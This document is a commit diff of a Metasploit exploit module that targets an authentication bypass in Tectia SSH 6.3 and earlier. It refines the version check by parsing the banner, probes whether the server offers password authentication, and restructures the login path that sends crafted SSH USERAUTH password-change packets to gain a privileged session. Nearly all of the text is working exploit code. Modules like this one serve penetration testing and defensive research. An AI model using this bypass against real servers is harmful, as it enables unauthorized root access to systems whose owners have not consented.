commit
215017e17c
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
|
||||
['Unix-based Tectia SSH 6.3 or prior', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Dec 01 2012",
|
||||
|
@ -63,7 +63,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
|
@ -71,11 +70,43 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get_once
|
||||
print_status("#{rhost}:#{rport} - #{banner}")
|
||||
banner = sock.get_once.strip
|
||||
print_status("#{rhost}:#{rport} - Banner: #{banner}")
|
||||
disconnect
|
||||
|
||||
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
|
||||
# Vulnerable version info obtained from CVE
|
||||
version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
|
||||
build = version.split('.')[-1].to_i
|
||||
|
||||
case version
|
||||
when /^6\.0/
|
||||
unless (4..14).include?(build) or (17..20).include?(build)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
when /^6\.1/
|
||||
unless (0..9).include?(build) or build == 12
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
when /^6\.2/
|
||||
unless (0..5).include?(build)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
when /^6\.3/
|
||||
unless (0..2).include?(build)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# The vulnerable version must use PASSWORD method
|
||||
user = Rex::Text.rand_text_alpha(4)
|
||||
transport, connection = init_ssh(user)
|
||||
return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -87,54 +118,41 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# This is where the login begins. We're expected to use the keyboard-interactive method to
|
||||
# authenticate, but really all we want is skipping it so we can move on to the password
|
||||
# method authentication.
|
||||
#
|
||||
def auth_keyboard_interactive(user, transport)
|
||||
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
|
||||
auth_req_pkt = Net::SSH::Buffer.from(
|
||||
:byte, 0x32, #userauth request
|
||||
:string, user, #username
|
||||
:string, "ssh-connection", #service
|
||||
:string, "keyboard-interactive", #method name
|
||||
:string, "", #lang
|
||||
:string, ""
|
||||
)
|
||||
|
||||
user_auth_pkt = Net::SSH::Buffer.from(
|
||||
:byte, 0x3D, #userauth info
|
||||
:raw, 0x01, #number of prompts
|
||||
:string, "", #password
|
||||
:raw, "\0"*32 #padding
|
||||
)
|
||||
|
||||
transport.send_message(auth_req_pkt)
|
||||
def is_passwd_method?(user, transport)
|
||||
# A normal client is expected to send a ssh-userauth packet.
|
||||
# Without it, the module can hang against non-vulnerable SSH servers.
|
||||
transport.send_message(transport.service_request("ssh-userauth"))
|
||||
message = transport.next_message
|
||||
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
|
||||
|
||||
message = transport.next_message
|
||||
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
|
||||
|
||||
# USERAUTH INFO
|
||||
transport.send_message(user_auth_pkt)
|
||||
message = transport.next_message
|
||||
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
||||
|
||||
2.times do |i|
|
||||
#USRAUTH REQ
|
||||
transport.send_message(auth_req_pkt)
|
||||
message = transport.next_message
|
||||
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
|
||||
|
||||
# USERAUTH INFO
|
||||
transport.send_message(user_auth_pkt)
|
||||
message = transport.next_message
|
||||
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
||||
# 6 means SERVICE_ACCEPT
|
||||
if message.type != 6
|
||||
print_error("Unexpected message: #{message.inspect}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# We send this packet as an attempt to see what auth methods are available.
|
||||
# The only auth method we want is PASSWORD.
|
||||
pkt = Net::SSH::Buffer.from(
|
||||
:byte, 0x32, #userauth request
|
||||
:string, user, #username
|
||||
:string, "ssh-connection", #service
|
||||
:string, "password" #method name
|
||||
)
|
||||
pkt.write_bool(true)
|
||||
pkt.write_string("") #Old pass
|
||||
pkt.write_string("") #New pass
|
||||
|
||||
transport.send_message(pkt)
|
||||
message = transport.next_message
|
||||
|
||||
# Type 51 means the server is trying to tell us what auth methods are allowed.
|
||||
if message.type == 51 and message.to_s !~ /password/
|
||||
print_error("#{rhost}:#{rport} - This host does not use password method authentication")
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# The following link is useful to understand how to craft the USERAUTH password change
|
||||
|
@ -155,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
transport.send_message(pkt)
|
||||
message = transport.next_message.type
|
||||
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
||||
print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
|
||||
|
||||
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
|
||||
transport.send_message(transport.service_request("ssh-userauth"))
|
||||
|
@ -169,23 +187,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def do_login(user)
|
||||
opts = {:user=>user, :record_auth_info=>true}
|
||||
def init_ssh(user)
|
||||
opts = {:user=>user, :record_auth_info=>true, :port=>rport}
|
||||
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
|
||||
transport = Net::SSH::Transport::Session.new(rhost, options)
|
||||
connection = Net::SSH::Connection::Session.new(transport, options)
|
||||
auth_keyboard_interactive(user, transport)
|
||||
userauth_passwd_change(user, transport, connection)
|
||||
|
||||
return transport, connection
|
||||
end
|
||||
|
||||
def do_login(user)
|
||||
transport, connection = init_ssh(user)
|
||||
passwd = is_passwd_method?(user, transport)
|
||||
|
||||
if passwd
|
||||
conn = userauth_passwd_change(user, transport, connection)
|
||||
return conn
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
|
||||
# engaging a variety of SSHD targets on a network.
|
||||
if check != Exploit::CheckCode::Appears
|
||||
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
|
||||
return
|
||||
end
|
||||
|
||||
c = nil
|
||||
|
||||
begin
|
||||
|
|
Loading…
Reference in New Issue